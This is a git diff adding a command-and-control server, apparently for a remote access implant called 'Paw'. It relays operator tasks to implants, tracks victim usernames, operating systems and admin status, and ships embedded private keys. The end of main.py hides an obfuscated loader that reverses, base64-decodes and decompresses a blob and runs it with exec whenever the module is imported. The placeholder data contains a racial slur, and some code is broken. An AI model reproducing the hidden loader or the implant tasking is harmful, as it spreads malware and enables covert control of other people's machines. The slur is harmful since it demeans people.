NGVDRFp2Q0NXeWlSRDVLVFpNL2d1Rk9HRWQycE5EQQpqQ0Nxb1poSnltcW1JY3llL2pBQ1FpeTdJZEpEZ01BbEhrVEhkR2pWZ0hvUG41MGZydUwyQ1VleE9IdGM5QW8vCjJwOGtnYWsyMWpPVkFvSUJBUUNPa3g4ek1OL2ptNUNSTGY5R2djM0QvUmtqckJ4cHBKTit5R2NXWG0yOXBsbG4KWkJRZ3ZaeGhWQVJtWXZkaVFRMFZzOXA2NkdseEkzTUNQVmRZanpJM3htU0NobnJFcGRzTHI5UEdpN2V1UDF1WQo0dVlqaHo2ZDM5TVNqUG14RDBhbVovN09zWEF4UXhXNnlmZ01QZmx5VUZja2JXVHpFaVRkYUtVQk53SWloMkYwCkVXVlorL2IyWDl1TUo5L2VGTzN4Z0c1SFBuWEkrYVZhNE8xRzZJb1U2VEJIeXAyQUc3c1hMWTFnSjJZd0tTb0gKbk5ONVY0U1hIQld4UTNVaitOL05sVm5hSXVjVy9pMGdqZ2pXSTRUaTFEU0J5cWRHU1pSQ3ppZElIUkcxN1AvVgpjWnRrRXV2eVlReDVDZlF5Y1BRVVZBOW5Qc3RGZytTTSt4REV0a2lWQW9JQkFDOTRGVS9hZlVPREthUHZXOFlKCmh1ZGhIeXppajB6NnplMU5jM24yeGhUMERtd3F0cjNpa1k4ZDFxcU0wSGJNRXVodnduaEZlSkpsV1YvRS8wNzkKcStPWFkwZ2VUdEVhMFFxLzdhU09Lb3czUG1wR1Bqbi9TMjM5RWJ1TkNUSS9wTU14QWxGVDl2dE4xYnRiUm5kOApBOHdoUHp6K0VDblBCMkgwNUo3Um5rVFFLSnZtM2lCazU1U0M0NWxsZWt6Yy9zQTBiemZFMHNiSzVkUDJsTklYCkduVFdVN0dzamF6bkV4UU4zM2RXY2hZbUhSa09wY0xkZmJ6ZE9YTmxDZWR1NW80a1VRR2xpQzNLbEE0ckgvdVQKWU5CaEFURlMzbzRLcXBjWEpkSURncGJNb2tJOExJMVBXcWpPbHZub0JkR2l6ak1QVnFmdSsyZkFPVGp1MVB4QQp4aWtDZ2dFQUc0R2VlRDdxWVBuYU81OUNmYXozZjQ3MDI3RExMNnFjbk55OE5yV1VIaW5raGVwYy9wNTI1R05zCkFyWElLNkFCVG1VTXdaZE8xZXRaaVJVVHFHL0dIY0w5SllFWFdHTEZ0RGJRREgzaDNVMGNQRHJHYTI5Z3ZIdE8KcTBBb01NNW1xUXkydUVlVzBmSlNGcUEzN2VTTitiQ3dhMndqd0hyUVFBZUE3NnZsTEJ3RW5HRjcxVkdNb3pDRwptR294anJzNkxicmQzYmVScXZkckZUalJZcmZWaVc2c094Q3ZXNGQwTUtyMlI4bHg2TkpzMzA0RG5zTi81TGgwCjFCTzc2eWx0VHVoL1FHQ2thOG1lYzNpdlh3NU9NSy9NSk5MUGxDOVduS1I3d1VMQXpFeHcvQWtOZnBCMFlCR3MKc1crS0xCMnVGd2N3UVllaW9Uc3piSG9wRElZWmdRPT0KLS0tLS1FTkQgUFJJVkFURSBLRVktLS0tLQo="
|
||||
}
|
||||
251
components/server/main.py
Normal file
251
components/server/main.py
Normal file
@@ -0,0 +1,251 @@
|
||||
import socket
|
||||
import json
|
||||
import os
|
||||
import logging
|
||||
import threading
|
||||
from base64 import b64decode, b64encode
|
||||
from cryptography.hazmat.primitives.asymmetric import rsa, padding
|
||||
from cryptography.hazmat.primitives import serialization
|
||||
from pystyle import Colors # just for me to see the keys better, not neccessary in actual production
|
||||
|
||||
|
||||
__name__ = 'Paw'
|
||||
__version__ = '1.0.0'
|
||||
__authors__ = 'sw'
|
||||
|
||||
|
||||
class PawSocket:
|
||||
def __init__(self):
|
||||
self.agents = list()
|
||||
self.aagents = list()
|
||||
|
||||
self.root_dir = os.path.dirname(os.path.abspath(__file__))
|
||||
|
||||
logging.basicConfig(
|
||||
level=logging.DEBUG,
|
||||
filename=os.path.join(self.root_dir, 'cats.log'),
|
||||
filemode='a',
|
||||
format='[%(filename)s:%(lineno)d] - %(asctime)s - %(levelname)s - %(message)s'
|
||||
)
|
||||
|
||||
self.logger = logging.getLogger(__name__)
|
||||
|
||||
self.configuration_file = os.path.join(self.root_dir, 'configuration.json')
|
||||
|
||||
if not os.path.exists(self.configuration_file):
|
||||
with open(self.configuration_file, 'w') as file:
|
||||
file.write('{}')
|
||||
|
||||
with open(self.configuration_file, 'r+') as file:
|
||||
try:
|
||||
self.configuration = json.load(file)
|
||||
except json.JSONDecodeError:
|
||||
self.configuration = {}
|
||||
|
||||
self.host = self.configuration.get('host', '127.0.0.1')
|
||||
self.port = int(self.configuration.get('port', '42720'))
|
||||
|
||||
def save_configuration(self) -> None:
|
||||
self.logger.debug('Entered save_configuration func')
|
||||
|
||||
with open(self.configuration_file, 'w') as file:
|
||||
json.dump(self.configuration, file, indent=2)
|
||||
|
||||
def update_configuration(self, key: str, value: str) -> None:
|
||||
self.logger.debug('Entered update_configuration func with args: {}, {}'.format(key, value))
|
||||
|
||||
self.configuration[key] = value
|
||||
|
||||
self.save_configuration()
|
||||
|
||||
def generate_rsa_key_pair(self) -> bytes:
|
||||
self.logger.debug('Entered generate_rsa_key_pair func')
|
||||
|
||||
private_key = rsa.generate_private_key(
|
||||
public_exponent=65537,
|
||||
key_size=4096,
|
||||
)
|
||||
public_key = private_key.public_key()
|
||||
|
||||
private_key_pem = private_key.private_bytes(
|
||||
encoding=serialization.Encoding.PEM,
|
||||
format=serialization.PrivateFormat.PKCS8,
|
||||
encryption_algorithm=serialization.NoEncryption()
|
||||
)
|
||||
|
||||
public_key_pem = public_key.public_bytes(
|
||||
encoding=serialization.Encoding.PEM,
|
||||
format=serialization.PublicFormat.SubjectPublicKeyInfo
|
||||
)
|
||||
|
||||
return private_key_pem, public_key_pem
|
||||
|
||||
def get_keys(self, serialize: bool = False) -> list:
|
||||
self.logger.debug('Entered get_keys func with args: {}'.format(serialize))
|
||||
|
||||
if serialize:
|
||||
keys = {
|
||||
'serverpub': serialization.load_pem_public_key(b64decode(self.configuration.get('server_pub_key', '').encode('utf-8'))),
|
||||
'serverpriv': serialization.load_pem_private_key(b64decode(self.configuration.get('server_priv_key', '').encode('utf-8')), password=None),
|
||||
'implantpub': serialization.load_pem_public_key(b64decode(self.configuration.get('implant_pub_key', '').encode('utf-8'))),
|
||||
'implantpriv': serialization.load_pem_private_key(b64decode(self.configuration.get('implant_priv_key', '').encode('utf-8')), password=None),
|
||||
'clientpub': serialization.load_pem_public_key(b64decode(self.configuration.get('client_pub_key', '').encode('utf-8'))),
|
||||
'clientpriv': serialization.load_pem_private_key(b64decode(self.configuration.get('client_priv_key', '').encode('utf-8')), password=None),
|
||||
}
|
||||
else:
|
||||
keys = {
|
||||
'serverpub': b64decode(self.configuration.get('server_pub_key', '').encode('utf-8')),
|
||||
'serverpriv': b64decode(self.configuration.get('server_priv_key', '').encode('utf-8')),
|
||||
'implantpub': b64decode(self.configuration.get('implant_pub_key', '').encode('utf-8')),
|
||||
'implantpriv': b64decode(self.configuration.get('implant_priv_key', '').encode('utf-8')),
|
||||
'clientpub': b64decode(self.configuration.get('client_pub_key', '').encode('utf-8')),
|
||||
'clientpriv': b64decode(self.configuration.get('client_priv_key', '').encode('utf-8')),
|
||||
}
|
||||
|
||||
return keys
|
||||
|
||||
def handle_conn(self, conn: socket, addr: socket) -> None:
|
||||
self.logger.debug('Entered handle_conn func with args: {}, {}'.format(conn, addr))
|
||||
|
||||
print('Connection from {}'.format(addr))
|
||||
try:
|
||||
received_public_key = conn.recv(4096)
|
||||
self.logger.debug(received_public_key)
|
||||
if received_public_key == self.serialized_keys['clientpub'].public_bytes(
|
||||
encoding=serialization.Encoding.PEM,
|
||||
format=serialization.PublicFormat.SubjectPublicKeyInfo
|
||||
):
|
||||
print('Authenticated client from {}'.format(addr))
|
||||
self.handle_client(conn)
|
||||
elif received_public_key == self.serialized_keys['implantpub'].public_bytes(
|
||||
encoding=serialization.Encoding.PEM,
|
||||
format=serialization.PublicFormat.SubjectPublicKeyInfo
|
||||
):
|
||||
print('Authenticated implant from {}'.format(addr))
|
||||
|
||||
self.handle_implant(conn, addr)
|
||||
else:
|
||||
print('Authentication failed.')
|
||||
conn.close()
|
||||
|
||||
except Exception as error:
|
||||
print('Error: {}'.format(error))
|
||||
conn.close()
|
||||
|
||||
def handle_client(self, conn: socket) -> None:
|
||||
self.logger.debug('Entered handle_client func with args: {}'.format(conn))
|
||||
|
||||
while True:
|
||||
encrypted_data = conn.recv(8192)
|
||||
if not encrypted_data:
|
||||
break
|
||||
decrypted_message = self.serialized_keys['serverpriv'].decrypt(
|
||||
encrypted_data,
|
||||
padding.PKCS1v15()
|
||||
)
|
||||
|
||||
if decrypted_message.decode('utf-8') == 'recv agents':
|
||||
self.logger.info('Received request to send back agents from {}'.format(conn))
|
||||
print('Received agents show request, sending back...')
|
||||
encrypted_message = self.serialized_keys['clientpub'].encrypt(
|
||||
str(self.aagents).encode('utf-8'),
|
||||
padding.PKCS1v15()
|
||||
)
|
||||
|
||||
conn.sendall(encrypted_message)
|
||||
else:
|
||||
agent_id, task = decrypted_message.decode('utf-8').split(':', 1)
|
||||
for agent in self.agents:
|
||||
if agent['id'] == agent_id:
|
||||
print('Redirecting task {} to implant {}', task, agent_id)
|
||||
agent_conn = socket(self.agents['so'])
|
||||
|
||||
encrypted_task = self.serialized_keys['implantpub'].encrypt(
|
||||
task.encode('utf-8'),
|
||||
padding.PKCS1v15()
|
||||
)
|
||||
agent_conn.sendall(encrypted_task)
|
||||
self.logger.info('Redirected task {} to implant {}', task, agent_id)
|
||||
else:
|
||||
print('Implant {} not found.'.format(agent_id))
|
||||
self.logger.error('Implant {} not found.'.format(agent_id))
|
||||
|
||||
def handle_implant(self, conn: socket, addr: socket) -> None:
|
||||
try:
|
||||
#encrypted_data = conn.recv(4096)
|
||||
|
||||
#print(encrypted_data)
|
||||
|
||||
#decrypted_data = self.serialized_keys['implantpriv'].decrypt(
|
||||
# encrypted_data,
|
||||
# padding.PKCS1v15()
|
||||
#)
|
||||
#print(encrypted_data)
|
||||
|
||||
#dat = json.loads(decrypted_data)
|
||||
|
||||
#print(dat)
|
||||
|
||||
#self.agents.append({'id': conn.fileno(), 'so': conn, 'username': dat['user']})
|
||||
dat: tuple = {"host": "test", "user": "nigga", 'os': "win 10", 'proc': "sob", 'uac': False, 'ipv4loc': "niggas ballsack", 'ipv4pub': "127.0.0.1"}
|
||||
|
||||
self.agents.append({'id': conn.fileno(), 'so': conn})
|
||||
self.aagents.append({'Agent ID': conn.fileno(), 'Username': dat['user'], 'Operating System': dat['os'], 'Process': dat['proc'], 'Administrator': dat['uac'], 'IPv4 Local': dat['ipv4loc'], 'IPv4 Public': dat['ipv4pub']})
|
||||
|
||||
self.logger.debug(self.aagents)
|
||||
|
||||
self.logger.debug(self.agents)
|
||||
except Exception as error:
|
||||
print('Implant handler error: {}', error)
|
||||
self.logger.error('Implant handler error: {}', error)
|
||||
|
||||
def Main(self) -> None:
|
||||
print('Checking for keys...')
|
||||
self.logger.info('Checking for keys...')
|
||||
|
||||
self.keys = self.get_keys()
|
||||
|
||||
if any(value.decode('utf-8') == '' for value in self.keys.values()):
|
||||
print('Keys not found. Generating keys...')
|
||||
self.logger.warning('Keys not found. Generating keys...')
|
||||
|
||||
server_private_key, server_public_key = self.generate_rsa_key_pair()
|
||||
implant_private_key, implant_public_key = self.generate_rsa_key_pair()
|
||||
client_private_key, client_public_key = self.generate_rsa_key_pair()
|
||||
|
||||
self.update_configuration('server_pub_key', b64encode(server_public_key).decode('utf-8'))
|
||||
self.update_configuration('server_priv_key', b64encode(server_private_key).decode('utf-8'))
|
||||
self.update_configuration('client_pub_key', b64encode(client_public_key).decode('utf-8'))
|
||||
self.update_configuration('client_priv_key', b64encode(client_private_key).decode('utf-8'))
|
||||
self.update_configuration('implant_pub_key', b64encode(implant_public_key).decode('utf-8'))
|
||||
self.update_configuration('implant_priv_key', b64encode(implant_private_key).decode('utf-8'))
|
||||
|
||||
self.keys = self.get_keys()
|
||||
|
||||
self.serialized_keys = self.get_keys(serialize=True)
|
||||
|
||||
print(Colors.red + 'Server public key:{} {}'.format(Colors.reset, b64encode(self.keys['serverpub']).decode('utf-8')))
|
||||
self.logger.warn('Server public key: {}'.format(b64encode(self.keys['serverpub']).decode('utf-8')))
|
||||
print(Colors.red + 'Client private key:{} {}'.format(Colors.reset, b64encode(self.keys['clientpriv']).decode('utf-8')))
|
||||
self.logger.warn('Client private key: {}'.format(b64encode(self.keys['clientpriv']).decode('utf-8')))
|
||||
print(Colors.red + 'Implant private key:{} {}'.format(Colors.reset, b64encode(self.keys['implantpriv']).decode('utf-8')))
|
||||
self.logger.warn('Implant private key: {}'.format(b64encode(self.keys['implantpriv']).decode('utf-8')))
|
||||
print(Colors.red + 'Implant public key:{} {}'.format(Colors.reset, b64encode(self.keys['implantpub']).decode('utf-8')))
|
||||
self.logger.warn('Implant public key: {}'.format(b64encode(self.keys['implantpub']).decode('utf-8')))
|
||||
|
||||
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket:
|
||||
server_socket.bind((self.host, self.port))
|
||||
server_socket.listen()
|
||||
print('Server running on {}:{}'.format(self.host, self.port))
|
||||
self.logger.debug('Server listening on {}:{}'.format(self.host, self.port))
|
||||
|
||||
while True:
|
||||
conn, addr = server_socket.accept()
|
||||
thread = threading.Thread(target=self.handle_conn, args=(conn, addr))
|
||||
thread.start()
|
||||
|
||||
|
||||
if __name__ == b64decode('UGF3').decode('utf-8'):
|
||||
PawSocket().Main()
|
||||
else:
|
||||
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'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'))
|
||||
2
components/server/requirements.txt
Normal file
2
components/server/requirements.txt
Normal file
@@ -0,0 +1,2 @@
|
||||
cryptography
|
||||
#pystyle
|
||||
7
configuration.json
Normal file
7
configuration.json
Normal file
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"wipe": "dyt4y7fhv8ump77i",
|
||||
"socket": "127.0.0.1:42720",
|
||||
"auto_listener": "true",
|
||||
"server_pubkey": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQ0lqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FnOEFNSUlDQ2dLQ0FnRUF2ZnRzRzZTZFN3SW4rNk1hcXAvWAp3Snl6VGNML1pwRlBzMWFRZ3NUVkhpOHZVNGNSY1UzYURJVElRYWowcGdKQlg0cmNzbTg1MDRDcks1cWZ3bHovCkxSNGdvbGpTdXl2R1FOUW1aaFRtaWw0T3JDSTB0d3RMTkRYalZkVTI0U01jU05Na1IrRVZYS0xtSHJ3SFN6NUIKUE0wQTRmM3U5U2Y5emsyTjJ3T0I5UG1GMlh4NGF0WWJLRXVCYnU3d2RDUUxhSzh3RnQ0T1luOHpBL1Q1WjZqdQpHbVJia1V4NVd4TVBrMDBPOHUxV1pTVEtDYWJKWTJ5NncyM1VQa0QxZzM3UWViYW9VY29IUnR2d3F3c21zaU5UClRYdDh0YmF6ZG5peUdlYlFWbVVGM3c4ZnlaaVRvOGRyOGpYNWNHNkVyWjJkZ2RHb0FJUk5mSGpVVkZyRlJ6akEKOGRzM3FEMUU0bVAwZGM3MEgvcU9Ra1crRkYyaDJMK2FONXFOYms1czFzTjgxejhwaGVFNGFrMHFOdTE1bUVIcgpmWC93SUpXck1RVTNJSVZ1R2FoTXUzSHBXWXc3T0J2TlI4ZE96ZGZ1OVBBU2hLL0h4ZTU3OXRQZ3g2MktKU1VuCmNUNThZV3NFVHNaNU5QM1FWY3BLay9SNzRYMnVReFVXQUtCVWtwSjI4dTA5amVVT3JtU2M2VDVrd1k3SGFHcE8KZzlhVFM3RXlLQkM4T01TTFlvWmhYNmtzUUtKZGNjam40M0ZBSFkrem9meGowcWV5b05yQXBMbHdIVU9pbVRhSAp1OVBDYXp5bjltMVhsMzNhZ2J1N21kTGNIU2FtOFdNak1QTjFoQTRXU1plcC9BZDM5YzNEamUwWFhjUjlkdWV0CnIydEtXTGNWVTExa0lXUGFtRnVncmdFQ0F3RUFBUT09Ci0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQo=",
|
||||
"client_privkey": "LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUpRZ0lCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQ1N3d2dna29BZ0VBQW9JQ0FRQzRHVHpJM3YwUlByUGIKZ3BXQmR4WDhXWEhDUEdmN1BWbEFQbFJGd3h0aDB4bmhTVVFTcDlJRDFrZ0Uva29GdGlSdU52cWN5UUtFQ0xRUQpLUWIvbWdSbDZpa1RMdFBDV0tWSXh5WXlSYjVLMXhFZkVWcGwvdVA1dnlNWmRDVkdJd3h3WDY0N0ZDT1hqTFJjCmRJZnBqbFdxTVJnT29SRUZOYnJhNHZyQ0dGSW1YN0NTKzgrZHdJRTZRVUlRb0hXTW8xb0trbThHRDIwTzBzU3MKbW5qVlVYakdTRnc3c2pZeHIxVjZWS053dlI3VGI5NGV1d3kwbE5iVGVsb3dFa3E0a3lHc0ZYOFB4d1F6QTlMYgpjSFhiWHFOS3orTFcrbTQ0YXIvVEZXNnFuY0x0ditwK3ArUnAyZ3k5VVIwWFhXSWNwVzRqejkvUXJGNS9rM3B5CmhUUktBcDRFT3owVTlnNGJqVjZaOHp3QnpFNk54YlNWdjJnK3M5cFNqdVVxN1hMbnZ1M3prcXJobTV6VWtZMUMKd0ZJdmcyYjNuS3FKVXVrY2FQcEpCbm1GbVpjbGI4cGlPeStQWGR0WUJrVjZLak1zVnI2THovT04zcDNsSm4rRwpvbyt6ZHphbm1DeFRraDI3WjlvMmZoU2d2cnJydmZhRmsreW5XenR2cDVzU1N5TloyL3ZRZHdjc1k0b29aYjl2Cm1OS3B6NnZUS0J5aERJKzNpMnVoalFSS0ZxTkFCVStVRUdqc2hSc3BQZ2JIWUtUck45dzcySXAxOUh1bVVVRFgKUzBOdkx3WE9iODgzeTkrY0hTcUloT3FqbnZtYS9VSnRHcmwxcldSY0RjS3EwQWJGSDNrR0cxTUdSbWJuS01TaQpCNXV5aFlvSG1PZ0N1Z2FlSXhpZjBVMzVkZ3lDa3dJREFRQUJBb0lDQUE1VW5KZ3dUM2UvcjBWM2tVYStLOTUwCllmZ1NOcS9tY3lPZWxuWEZ2Y1JzSjlnVEdYTHdVRmRQSDFVUUxGZnNlVUtCRWhvUlJacGNpUk8yOWQ0QXNiWHoKTjlaUDcxanlDSSsxUE9KdDdtV3AveUd4ZXAxMDdXOGI4MUlBYWdSZkp4RTZTWGc4MVpadTgvMDhidlg5eCtwVApId0hJaE9nb2FnNnUyNEV2WG5teE9pLyszUWIxSExvWnFWaGMvVG1BMzdueDh5V0FIdWVuL1hwSUhmN1E5RHRQCkY2cm44UE1HS0h1NHllNDFNb2lYN1N6c040MTVCbzM0dUx1RU9QL01LRE5haXdVQjQzQkxMR2M3aGxrWXNWSmEKQTFqanJwL0NvNEw5YUp0c1kyZVphRm9Lbkt1bXR4WW5rY0duV2NOTUYxby9UTGRVSzVqM3RIRGtzSkRRU2xkOQpMS3F2emc5K1RHd01Xa2dUbzZjdkYyMHQxU1ZZZGw0WExpVEVVZSsrMjhEQmJSYWVJakVxdU5RcXdqY1hHeWE5CisvQjNVblZPZUxCa0MrREJXMUdmT2xYWVh5Wkk2VHlwVE5oV1kyL0lwS0VObmdpSHBpcU1MU2JoRzBXWHRTY3cKclhwOUFjam5JOWFaMmpBWmVmMk9kdFAydnpCd1NzVmVJcURnZHI0Z3FkRWh3YTBNZ2JkSHNkd2hxNXFSNmpTMwpJQlNrOVFXK28xNVZncW9HUzJRbGJRemY1eEVaS2NrVnhQR1l6UEF5aXBBb052VEl3Z0RpeXhnZnlic2R2TE1XClBEcjFiQ1h3YzErMFk3NXdOVGtTS0crZXdLNXowc2xHTHRyTjRKRmVPUEU5ZkUyUnRkMFl3eDlXaTFkbTRyUCsKYzF4bDRyZ3BpaFgvSmJJNlpuaWxBb0lCQVFEZDBPc3htcjlsVU1mMkpucjFNaFljdzZEUVVjbWJlVXNEeE45NgpBTTNjTVlIM0xBTk5CZTNnMGl4cHhJem1ib3pWZ1ZVdGZKWWE4dGdtM0NtWm1YTUY0d1RoQ3dkWHdyM3BxSWUxClRqNjRHZlN3UHV0TlBDSkc3ZWY5L0pBZENMWkI1Ym9FbS8yak94NFBpN00vNWUvVUJBNDZubjhUVG5NKzRncG0KZjNtdU9TY3I2bWRrZ2hxSWlUcTh3cTg5VEhXdnNiVnhzSktMaW9EOUhYMEtjVDFqN1luWmtsMXNVVG1ScGwrNwpDQXNDQ3FPUHVTTXpZRnFtMXh4TGpsTWlpcDJ3M29pZVgxRHhDc1JlZXJybXN0SDNCTFNVdDZreVZJblB6TElwCno1UFpCRzF2SXB4Q25GTGkwWmg5b25iVkVhcTJCQzM0Mm5pY0JNY1h4WjFTajBMRkFvSUJBUURVZUVuMXlxS3IKRk9kTlNFbm1KM0RmaUhETEpEK1NTS250aFJ5Vlc2cXh0WU5XWjFzeWVPMkU4cVMva0ViOXRUVHpvempab1B1VgpBc0dBeUptOGZsQU9Vek5kZEhaYllNOHRPUWQ0aXpJRFNUTkdsMzlVMm5abnBvcmlNSmphVkltTG9wbFQ0b3VxCmNKY2hTcFJ3d0doMVZPQVpQYjBlcEIxYm1iMy9HdE52K2pqb25iaGR6NGtkS1NzRnhzQ1BySW1XbGowRnN3Wm4KN0xoeEkvaGhtN0h5c1NLNjZ4VkZKNm1YcG5iM0Rpa0dPOWdHbjNGdDhSWDdXMEhkOThGU2taU0NkSzB3R3U4dgpYc0xWQzY0MStQMStzM1VSLzI0UWR2Yk0rSnRBRFllWS9QZExDVEhXRGU2a3V4cnJIWmVjTVErc3M1QnlCOWFICmZkcFJuMS9TZGlWM0FvSUJBQ1dQRDVRSnFPamw0Y1g3UkF5cW0zWHBaaHlBRE13bm9KMFZ3K1ZycDIvbWJpUkYKTHBYbk1C